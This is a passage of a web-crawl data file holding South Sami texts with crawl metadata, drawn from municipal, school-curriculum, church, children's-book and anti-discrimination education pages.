tjïeltese, Røyrvikveien 5, 7898 Lyjmede jallh firstname.lastname@example.org","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/laajkoe-jih-daarjegh-gaetiem-bigkedh.13616.aspx","date":"2023-03-22T02:43:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00057.warc.gz","language":"sma","language_score":0.9999834299,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999834299087524}","num_words":99,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov ulmie lea hijven portrehtem darjodh. Guktie edtjh dam buektiehtidh?\nGuktie edtjh tjaeledh?\nPortrehte-gihtjehtimmesne maaje njieljie bielieh:\ntjaelieh gihtjelgæjjan vaestiedassh teeksten sïjse\ntjaelieh gihtjelgæjjan vaestiedassh goh soptsese\nbuerkiestimmieh gihtjelgæjjeste\ndov gyhtjelassh\nGuktie edtjem aelkedh?\nJeenjesh numhtie aelkieh:\nbyjresem jïh gihtjelgæjjam buerkiestieh\nsitaatem gihtjelgæjjeste nuhtjieh\nByjresem jïh gihtjelgæjjam buerkiestieh\n1. vuesiehtimmie\nAilin Maria Danielsen lea reakadamme 30.10.1997, jïh Elgåeste Hedmarkesne båata. Dïhte vikarijatem skïemtje-såjhterinie Romsesne åadtjoeji mænngan lohkemem galhkeme dæjmetje gïjren. Göökte biejjieh mænngan gyhtjelassem åadtjoeji sov aajkoehkistie, mij NRK saepmesne barka. Dah naakenem darpesjin dejtie åarjel-saemien raadijove-saadtegidie. Dïhte gujht ussjedi «man åvteste ij» jïh ohtsemem sïjse seedti. Dïhte barkoem åadtjoeji jïh joekoen hijvenlaakan tråjjede.\n2. vuesiehtimmie:\nLene Cecilia Sparrok lea reakadamme 06.10.1997, jïh byjjenamme jïh årroeminie Laakesvuemesne Trööndelagesne. Dïhte åejvie-råållam goh «Elle Marja» spïelefimesne Saemien vïrre (Sameblod) åadtjoeji. Dan åvteste aaj åasam vitni goh bööremes nyjsenen dorjehtæjja festivaalesne Tokyo International Film Festival. Gåetesne lea båatsoelïerehtæjja Voengelh-Njaarken Båatsoe-sïjtesne.\nGuktie datne maahath sitaath nuhtjedh\n1. vuesiehtimmie\nFaahketji premijeerh, rööpses guelpie-jievegh jïh autograafe-tjaelemem soejkesjisnie utni. Men ij sïjhth mietedh satne naan filme-naestie.\n– Naakenh leah jeahteme «daelie datne kjendise sjïdteme», men im manne numhtie damth goh. Annje leam ajve Lene Cecilia. (Orre naestie)\n2. vuesiehtimmie\n- Datne dagke artiste? Dagke buerebh lih sïjhteme pop-naestine jallh plearoeh årrodh?\nAilin föörhkede.\n- Ijje maa, dam gujht jïejkem. Im maehtieh Iaavlodh!\nDaelie maaje hohke maana-TV-gaagkoe Binnabánnáš åarjel-saemien gïelesne lååvle, jïh manne leam dïhte gïele desnie, men dïhte gaajhke. Men manne sosijaale, geerjene jïh eahtsam almetjigujmie barkedh. Numhtie sån manne daan barkose sjïehtem. Im bïllh uvtemes årrodh. ( Saerniehoksehtæjja Ailin)","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:b99be775-ed28-46a2-96c5-880c530654e8","date":"2023-03-26T16:23:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00130.warc.gz","language":"sma","language_score":0.9999785423,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999785423278809}","num_words":243,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åålmehmiehtjietjïeltine dle Raarvihken nuepieh dåarjegh ohtsedh dej åålmehmiehtjietjïelti njoelkedassi jïh moenemetsiehkiej mietie. Starpunkt Byrkije jïh Byrkijen åålmehmiehtjieståvroe gellie prosjekth ektesne åtneme, jïh daate akte orre ektiebarkoeprosjekte.\nAarebistie lea View Point Byrkije Vuakteren vaartosne tseegkesovveme jïh aaj tsïeglh baalkaj\/laategi mietie. Byjresedirektoraate dåarjegidie vadteme.\nStartpunkt Byrkijisnie daerpies bïevnesh guesside Byrkijen åålmehmiehtjietjïelten bïjre jïh gåhtsajehtedh guktie Byrkijen åålmehmiehtjiem nænnoeslaakan nuhtjedh.\nUlmie Startpunktine daate akte bïevnesesijjie Raarvihken jarngesne gusnie bïevnesh Byrkijen åålmehmiehtjien, åarjelsaemien kultuvren\/histovrijen jïh jielemen, faaleldahki jïh laategi\/baalkaj, attraksjovnh, gåetieluhpiej jïh darjomes bïjre Byrkijen åålmehmiehtjiedajvesne jïh Lyjmeden jaevrien bealesne. Startpunktet tseegkesovveminie gærhkoen jïh Lyjmeden Gjestegården gaskem.\nÅålmehmiehtjiedåehkie ( Tjïelteståvroste veeljesovveme) jïh BLOM arkitekth lea Startpunktem soejkesjamme jïh guvviedamme. Guhkies soejkesjamme jïh prosjekteboelhken mænngan dle bigkemegahtjedimmie. Winter Byggetjeneste lea åehpies dej nænnoes tïmperegåetijste gahtjedimmiem vitni jïh edtja golken asken aelkedh bigkedh jïh daan jaepien minngiegietjien gaervies årrodh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/prosjekte-startpunkt-byrkije.13688.aspx","date":"2023-03-22T03:58:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00793.warc.gz","language":"sma","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999871253967285}","num_words":132,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2002\nDaltese\nISBN\n8273745163\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n47\nViehkiebaakoe\nMaanajgærja noerhtesaemien- jïh englaantengïelesne.\nNoerhtesaemien jïh englaantengïelen guvviegærja maanide. Gærja maanaj bïjre gïeh lopmeaajjah darjoeminie. Lopmeaajjah tjeajne jæjhka fahkah jïh jealajieh gosse jeatjebh åerieminie, jïh gosse gïjre sjædta, dle jallese rijsiebovtsigujmie jåhtajieh mejtie aajjemes hååkestamme.\nDaejnie gærjine maanah lopme- jïh daelhkiebaakoeh lierieh, ihkie noerhtesaemien jallh englaantengïelesne. Guvvide Sirpa Mänty såårkeme jïh Kaija Anttonen gærjam englaantengïelese jarkoestamme.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_skalveaddja-driftman","date":"2023-04-01T16:36:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950110.72\/warc\/CC-MAIN-20230401160259-20230401190259-00441.warc.gz","language":"sma","language_score":0.999961853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999618530273438}","num_words":84,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juekeme jeenebh ööhpehtimmiem vadta\nJuekeme lea hijven. Jeenemes dejstie maam manne damtem leah aavosne gosse gååvnese gie akth maahtoem maehtieh juekedh.\nJoekedh jïjtjedh saemie ööhpehtimmievierhtieh jeatjajgujmie! Maahta årredh vierhtieh maam jïjtje leah tjaaleme jallh vierhtieh maam gaskeviermesne leah gaavneme jïh vïenhth nåhtine jeatja almetjidie.\nJis sïjhth, maehtebe sisvegen kvaliteetem lohkedh jïh veartasjidh åvtelen gaskeviermese bæjhkohte.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/delingsarena","date":"2023-06-03T12:32:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649193.79\/warc\/CC-MAIN-20230603101032-20230603131032-00188.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":66,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maalestahke sinsitnine jïh Jupmielinie\nMaalestahkem mubpiejgujmie byöpmedidh jïh juekedh lea bielie mijjen aarkebiejjien. Mijjieh maalestahkem daarpesjibie jïh ektievoetem vadta. Aejlies maalestahke lea sjïere maalestahkeektievoete maam mijjieh sinsitnine jïh Jupmielinie juekebe.\nMijjieh aejlies maalestahkem heevehtibie juktie iehkedem mujhtebe gosse Jesus dan learohkh jïh voelph tjåanghkeni jïh juvdeladtjevoeten påaskemaalestahkem heevehtidh.\nGosse Jesus learohki ektesne byöpmedi dan minngemes iehkeden, dïhte jeehti laejpieh jïh vijne lij dan åedtjie jïh vïrre jïh learohkh edtjin jåerhkedh daam maalestahkem heevehtidh satnine jïh sinsitnine.\nGosse Jesus lij dan learohki ektesne byöpmedamme dellie feengkesovvi jïh noeresovvi, jïh dan mænnan gåalmeden biejjien tjuedtjieli.\nNoeresovvemen jïh tjuedtjielimmien tjoevkesne learohkh meehtin mænngan guarkedh laejpieh jïh vijnem mejtie juakasovvi dellie Jesusen jaememen jïh tjuedtjielimmien bïjre måjhtasovvi.\nAejlies maalestahke tïjjen jïh rommen dåaresth\nBaakoe gyrhkesjimmie soptseste dïhte lea gyrhkesjimmie aejlies maalestahkine. Fïerhten våhkoe, aejlege vuj aarkebiejjie ovmessie mæssoeh heevehte jeenjemes gærhkojne.\nMæssosne hearra bijpelebaakoeh låhka mij soptseste Jesusen minngemes maalestahken bïjre learohkigujmie. Hearra eejnegen dejtie baakojde jeahta maam Jesus jeehti gosse learoehkidie dåajvoehti dïhte lea baalkam rïhpestamme jaemiedistie jieliedasse. Hearra jeahta: \"Kristusen åedtjie dutnjien vadtasovvi\" gosse laejpiem vadta jïh \"Kristusen vïrre dov dïehre galki\" gosse vijnem vadta.\nLaejpie lea daamtaj haamoedamme goh onne jorpe oblaate. Vijne lea alkohovline jallh alkohovlen namhtah. Såemies aejkien laejpiem vijnesne njååle, jïh såemies aejkien maahta dïhte gie sæjhta gåaseste jovkedh.\nAejlies maalestahken ektievoete lea tïjjen jïh sijjen mietie. Jïjnje gærhkojne aalhtererïngke gååvnese maam såemies aejkien nuhtjie gosse aejlies maalestahkem vadta. Aalhtererïngke lea hammoedamme goh bieliegievliem jïh soptseste mubpie bieliem ihkuve aajkan seejkede.\nMæssoen minngiegietjesne dellie dah gïeh aejlies maalestahkem dåastoehtamme veartanasse seedtesåvva. Laejpie mij gaagkestimmesne juakeme haasta laejpieh veartanisnie juekedh.\nAejlies maalestahke lea sakramente\nAejlies maalestahke lea sakramente – aejlies dahkoe. Sveerjen gærhkosne mijjieh vuejnebe evtemes aejlies maalestahke jïh laavkome goh sakramente. Sakramente lea Jupmelen baakoeh konkreete dahkojne ektesne.\nDovne laavkome jïh aejlies maalestahke lea sakramente juktie dah baakoeh mah jiehtieh iktede mejnie akt konkreete goh tjaetsie laavkoemisnie jïh laejpie jïh vijne aejlies maalestahkesne.\nLaavkome jïh aejlies maalestahke\nLaavkome ajve akten aejkien. Dïhte ektievoetem Kristusinie jïh govlesovvemem gærhkose vadta. Aejlies maalestahkese åadtjobe båetedh, gellien aejkien. Dïhte mijjiem ektievoetesne Kristusinie utnehte. Aejlies maalestahkese vaedtsedh ij mijjen jaahkoem daarpesjh. Gaajhkh gïeh lååvkesovveme åadtjoeh eejnegen aejlies maalestahkem. Mov jaahkoem maahtam geakasjidh mohte ij mov laavkomem.\nDïhte gie ij leah laavkome, men læjhkan sæjhta ektievoetem aejlies maalestahken buertesne juekedh åådtje eejnegen båetedh jïh bueriesjugniedimmiem dåastoehtidh.\nGöökte gïelh aejlies maalestahken bïjre\nKristin jïh Jonas soptsestieh maam aejlies maalestahkem dejtie meala – mysterijume, mojhteseboelhke jïh seamma aejkien ståante gosse lïegkestin. Dïhte aaj symbovle ektievoetese jïh gieriesvoetese. Fïerhte filme sveerjengïelesne jïh medtie 2 minuhth guhkiem.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/maalestahke--aejlies-maalestahke","date":"2023-06-01T15:29:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00125.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":416,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh tjaeledh saemiengïelesne mubpiengïeline, saemien 4 lea maehtedh tjaaleldh gaskesadtedh. Voestegh aelhkies baakoeh jïh raajesh tjaeledh jïh mænngan joekehts såarhts teeksth soejkesjidh, hammoedidh jïh bueriedidh mah aajkose, sisvegasse, meedijumese jïh dåastoejasse sjiehtieh. Learohke edtja ahkedh stuerebe baakoevåarhkoem nuhtjedh, sagke jienebh grammatihkeles njoelkedassh jïh gïeleldh struktuvrh haalvedh, jïh viehkievierhtieh jïh gaaltijh maereleslaakan nuhtjedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/sas04-01\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-09-30T03:07:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510575.93\/warc\/CC-MAIN-20230930014147-20230930044147-00262.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":51,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Runvik, Margaretha J. Bertije Senter for forebyggging av selvmord i Nord-Norge Vaadtasovvemejaepie 2005 Faage KRJL Religiovne jïh etihke Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 8299723302 Formaate Sïejhme gærja Reakta-aajhtere Senter for forebyggging av selvmord i Nord-Norge Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 32 Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Healsoe Religiovne Jielemevuajnoe Etihke Siebriedahke Skuvle jïh ööhpehtimmie","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/node\/9845","date":"2023-09-23T04:52:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00072.warc.gz","language":"sma","language_score":0.9971442223,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9971442222595215}","num_words":58,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Digitaale tjiehpiesvoeth matematihkesne leah maehtedh graafeguvvieh, ryöknemeaarhkh, CAS, dynamihkeles geometrijeprogrammh jïh programmeeremem nuhtjedh juktie matematihkeles dåeriesmoerh goerehtidh jïh loetedh. Aaj sæjhta jiehtedh bïevnesh gaavnedh, analyseeredh, gïetedidh jïh åehpiedehtedh, viehkine digitaale dïrregijstie. Evtiedimmie digitaale tjiehpiesvoetijste sæjhta ånnetji ånnetji maereles digitaale dïrregh viehkievierhkine nuhtjedh jïh veeljedh juktie matematihkeles dåeriesmoerh goerehtidh, loetedh jïh åehpiedehtedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-10-04T06:29:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511361.38\/warc\/CC-MAIN-20231004052258-20231004082258-00646.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":51,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Seabradahkefaage lea vihkeles faage ihke learohkh edtjieh meatanårroejinie sjïdtedh mah leah meatan, eadtjohke jïh laejhtehkslaakan ussjedieh. Faage edtja viehkiehtidh guktie learohkh ektiedimmieh vuejnieh gaskem individuelle veeljemh, seabradahkestruktuvrh jïh eatnemen tööllemeraasth. Seabradahkefaagesne learohkh edtjieh nuepiem åadtjodh jïjtse identiteetem, voenges seabradahkem gusnie jielieh, jïh nasjonaale jïh veartenevijries gyhtjelassh goerehtidh. Barkoen tjïrrh faagine learohkh edtjieh guarkedh guktie geograafeles, histovrijes jïh daaletje tsiehkieh eaktoeh biejieh guktie almetjh sijjen daerpiesvoeth reeblieh, jïh guktie faamoe jïh vierhtieh almetji gaskem juakasuvvieh. Learohkh edtjieh voerkes sjïdtedh guktie mijjieh libie histovrijistie sjugniesovveme men aaj guktie mijjieh histovrijem sjugniedibie. Faage edtja viehkiehtidh fïereguhten identiteetem evtiedidh, jïh goerkesem vedtedh dej joekehts ektievoeti bïjre mejstie mijjieh almetjh bieline sjïdtebe, dovne Saepmesne jïh Saepmien ålkolen. Daate sæjhta jiehtedh aaj jienebelåhkoe- jïh unnebelåhkoeperspektijvh meatan vaeltedh, maehtedh viertiestimmieh jeatjah aalkoeåålmegigujmie darjodh, jïh ovmessie faamoetsiehkieh jïh vihkelesvoetem demokraateles aarvojste guarkedh. Naemhtie seabradahkefaage viehkehte learohki goerkesem nænnoestidh jïjtsistie, seabradahkeste mesnie jielieminie, jïh guktie dah maehtieh jïjtsh jieledem jïh båetijem aejkiem baajnehtidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-12-08T15:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100762.64\/warc\/CC-MAIN-20231208144732-20231208174732-00841.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":154,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Valkeapää, Nils Henrik Nystad, Arne Bertije Sámi oahpahusráđđi Vaadtasovvemejaepie 1993 Faage Eatnemefaage Matematihke Båatsoe jïh design Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 8291047154 Formaate Sïejhme gærja Reakta-aajhtere Sámi oahpahusráđđi Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 114 Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Matematihke Eatnemefaage Saemiengïele Baakoegærjah","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/node\/7837?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-02T15:36:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100427.59\/warc\/CC-MAIN-20231202140407-20231202170407-00633.warc.gz","language":"sma","language_score":0.9975622296,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9975622296333313}","num_words":47,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïerredimmie\nÅvtelhaarvoeh maehtieh joekehtsvoeth jïh joekehts faamoejoekedimmiem seabradahkesne tjïelkestidh. Dah legitimiteetem sïerredæmman vedtieh.\nSïejhme åssjaldahki gaavhtan akten dåehkien bïjre seabradahkesne, jienebelåhkoe maahta sïerredimmiem jååhkesjidh, daate sæjhta jiehtedh joekehts gïetedimmie akten såarhts dåehkieektiedimmien gaavhtan. Tjïelke vuesiehtimmieh maehtieh don sïejhme naelieussjedimmien luhpiehtimmie kolonialismeste jïh slaverijeste årrodh, jallh åssjaldahkh årrodh tjoelejoekehtsi bïjre, goh tjïelkestimmie tjoelesïerredæmman.\n\"Jarkelimmien gaavhtan vuajnojste tjuara dagke faamoem, posisjovnem jïh aevhkieh jïjtsistie vedtedh.\nDan åvteste åvtelhaarvoeh aaj maehtieh meatan årrodh joekehtsvoeth tjåadtjoehtidh jïh jïjtsasse aevhkieh vedtedh, maahta vaenie attraktijve årrodh åvtelhaarvojde staeriedidh. Jarkelimmien gaavhtan vuajnojste tjuara dagke faamoem, posisjovnem jïh ovmessie aevhkieh jïjtsistie vedtedh. Vuesiehtimmien gaavhtan åssjaldahkem hiejhtedh nyjsenæjjah bööremeslaakan sjiehtieh gåetiem jïh hïejmem gorredidh, jïh ålmah tjuerieh stuerebe sijjiem nyjsenæjjide vedtedh barkoejieliedisnie.\nRyöktesth jïh ov-ryöktesth sïerredimmie\nAerpievuekien sïerredimmie ij-europan almetjijstie lea ryöktesth, daate sæjhta jiehtedh ovmessie dåehkieh joekehtslaakan gïetesuvvieh. Men sïerredimmie maahta aaj ov-ryöktesth årrodh gosse seamma gïetedimmie joekehts dåehkijste joekehtsvoeth vadta joekehtsi gaavhtan dåehkiej gaskem.\nAkte vuesiehtimmie lea tsaekemenjoelkedassh militæærese, mij unnebejalloem åtna. Dan åvteste ålmah gaskemedtien lea jollebe nyjsenæjjijste, dagkerh njoelkedassh sijhtieh ålmah favoriseeredh, jalhts njoelkedasse oktegh lea seammalaakan gaajhkesidie.\nÅvtelhaarvoeh maehtieh sïerredimmiem tjïekedh\nSïerredimmie ij-europan almetjijstie jïh nyjsenæjjijste lea aerpievuekien mietie eksplisihte orreme dennie goerkesisnie dïhte lea ræhpas jïh voerkes. Men sïerredimmie maahta aaj implisihte årrodh, daate sæjhta jiehtedh dah mah sïerredieh eah jïjtjh vuejnieh sijjieh dam darjoeh, jïh dagke eah naan vihties sjaavnjoem utnieh sïerredidh. Jis numhtie, dle maahta vijries åvtelhaarvoeh aktene seabradahkesne årrodh man åvteste joekehtsgïetedimmie ov-våajnoes sjædta jïh geerve årrodh vueptiestidh.\n\"\nOv-voerkes åvtelhaarvoeh maehtieh implisihte sïerredimmiem sjugniedidh\nAkte vuesiehtimmie implisihte sïerredæmman lea man vihkele ohtsijen nomme lea, jis edtja gohtjedimmiem åadtjodh gihtjehtæmman akten barkose jallh ij. Goerehtimmieh staarine Oslo, Stavanger, Bergen jïh Tråante leah vuesiehtamme almetjh pakistaanen nommigujmie, 20 jïh 25 % unnebe hillem utnieh barkoefaalehtæjjeste gohtjesovvedh gosse barkoem syökoeh, goh almetjh aerpievuekien nöörjen nommigujmie, aaj gosse almetjh eevre seamma kvalifikasjovnh utnieh (Birkelund et al. 2015). Muvhth barkoefaalehtæjjah dagke negatijve vuajnoeh almetjidie utnieh pakistaanen nommigujmie, men dotkijh sïerredimmiem aaj barkoefaalehtæjjijste gaevnieh mah eah dagkerh vuajnoeh vuesiehtieh. Daate sæjhta jiehtedh dej vuajnoeh maehtieh vielie implisihte årrodh, amma ov-voerkes.\nSïerredimmie skuvlesne\nDaan biejjien sïerredimmie luhpehts laaken tjïrrh, jïh njoelkedasse ij-sïerredimmien bïjre lea tjarke vïedteldihkie nöörjen skuvlesne. Lohkehtæjjah leah joekoen voerkes sijjieh eah edtjh tjoelen jallh naelien gaavhtan sïerredidh. Gosse daejrebe ov-vaajteles sïerredimmie maahta illedahkine årrodh ov-voerkes vuajnojste, dïhte læjhkan vihkelesvoetese jïjtjerefleksjovneste tjuvtjede: Lohkehtæjja tjuara jïjtjemse gihtjedh mejtie dej kategoriseereme jïh implisihte åssjaldahkh joekehtsi bïjre, goh baerniej jïh nïejti gaskem jallh eurpejerh jïh ij-europejeri gaskem, leah meatan gïetedimmiem aktegslearoehkijstie baajnehtidh.\n\"Learohkegoerehtimmieh vuesiehtieh learohkh sïerredimmiem jïh ov-riektes gïetedimmiem dååjroeh.\nSkuvlesne jienebh learohkh mah sïerredimmiem jïh ov-rïektes gïetedimmiem dååjroeh, goh irhkeme. Illedahkh Learohkegoerehtimmeste 2012 raajan dam vuesiehti gosse gyhtjelassh sïerredimmiem båarhte vaaltasovvin (Wendelborg 2012). Seamma tïjjen smaave dåehkieh mah sååjhtoeh dam dååjroeh. Vuesiehtimmien gaavhtan 2,4 % learoehkijstie soptsestin dah lin sïerredimmiem dååjreme funksjovneheaptoen gaavhtan, naakede mij lea naa stoerre låhkoe gaajhkijste learoehkijstie funksjovneheaptojne skuvlesne.\nJienebh learohkh demtieh lohkehtæjjah dejtie sïerredieh.\nAkte bielie learoehkijstie mah sïerredimmiem jallh ov-rïektes gïetedimmiem dååjreme, soptsestieh lohkehtæjjah jallh jeatjah geerve almetjh skuvlesne mah sïerredin. Daate kontraastine sjædta lohkehtæjjaj idealese hedtien bïjre, men tjïerteste man vihkele lea lohkehtæjja jïjtje sov vuajnoej bijjeli ussjedadta, jïh guktie learoehkidie gïetede. Dan åvteste dovne vuajnoeh jïh sïerredimmie maehtieh implisihte lohkehtæjjan luvnie årrodh, aaj gåarede learohke maahta tjïelke joekehtsgïetedimmiem dååjredh jalhts lohkehtæjja ij jïjtje dam vuejnieh.\nSkuvlesne aaj lohkehtæjjah dah mah leah tjirkijh seabradahken åvteste, jïh dan tjïrrh faamoem utnieh. Aktene haestiedihks klaassetsiehkesne lohkehtæjja maahta sån damtedh satne lea faamohts, jïh hævvi tsiehkieh maehtieh sjugniehtovvedh gusnie lohkehtæjjan faamoe haastasåvva. Men tsiehkie lohkehtæjjan jïh learohken gaskem lea læjhkan asymmetriske: lohkehtæjja gellie byjjes jïh tjïelke vierhkievierhtieh åtna, learohkh maehtieh dagke dej vööste bagkesidh, men eah sov væljoem trumhpiestidh, seammalaakan goh lohkehtæjjah jïh skuvle maehtieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/sierredimmie","date":"2024-02-26T23:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00214.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":594,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kursh\nKursefaalenassh\nMijjieh kursh, raeriestimmiem jïh bïhkedimmiem faalehtibie mah leah uvtemes maanagiertide jïh maadthskuvlide sjïehtesjamme, bene sïjhtebe mænngan aaj dam jåarhkeööhpehtæmman faalehtidh. Dah aamhtesh maehtieh sïejhme lohkehtimmien bïjre årrodh lohkemisnie jïh tjaeliemisnie saemien gïelesne, jallh sjïere aamhtesh daan sisnie, dan nuelesne aamhtesh mah lohkeme- jïh tjaelemelohkehtimmiem dåarjoeh. Dastegh dijjieh kursh jeatjah aamhtesi bïjre sïjhtede goh dah mah daesnie neebneme, gaskesadtede mijjine jïh gihtjede mejtie mijjieh maehtebe kursh öörnedidh juktie dijjieh dam daajroem åadtjode maam daarpesjidie. Dah kursh maehtieh gööktetæjmoeh ryöhkedh jallh göökte golme biejjieh.\nKurseraeriestimmieh\n• Maanaj njaalmeldh gïeleevtiedimmie\n• Soejkesjimmie 